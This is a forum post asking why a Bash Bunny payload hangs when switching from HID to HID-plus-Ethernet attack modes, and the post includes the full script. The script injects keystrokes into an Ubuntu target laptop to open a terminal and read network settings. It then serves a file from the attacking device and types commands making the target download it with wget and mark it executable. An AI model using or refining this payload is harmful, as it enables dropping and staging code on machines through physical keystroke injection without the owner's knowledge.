Hey all!
I'm having issues starting my payload in ATTACKMODE HID, then switching to ATTACKMODE HID ECM_ETHERNET. When I do this, my DuckScript pauses for ~20 seconds, then continues the DuckScript without connecting to my BB, so I'm unable to download/wget a file from the BB.
Context: I need to start in "HID" to get the default network interface to perform a tcpdump (BB becomes the new default interface when in ECM_ETHERNET mode). Target is Ubuntu 14.04 on a laptop.
Any guidance?
LED SETUP
ATTACKMODE HID
GET SWITCH_POSITION
GET HOST_IP
GET TARGET_IP
cd /root/udisk/payloads/$SWITCH_POSITION/
LED SPECIAL
### Open terminal
Q CTRL-ALT t
Q DELAY 2000
Q STRING "iface=\$(route | grep '^default' | grep -o '[^ ]*\$')"
Q ENTER
Q DELAY 500
Q STRING echo \$iface
Q ENTER
Q DELAY 2000
####################################
#### SCRIPT HANGS AT THIS POINT ####
####################################
ATTACKMODE HID ECM_ETHERNET
# start BB server
iptables -A OUTPUT -p udp --dport 53 -j DROP
python -m SimpleHTTPServer 80 &
# wait until port is listening
while ! nc -z localhost 80; do sleep 0.2; done
LED ATTACK
### Get file
Q STRING wget "http://$HOST_IP/file"
Q DELAY 1500
Q STRING chmod +x file
Q ENTER
Q DELAY 150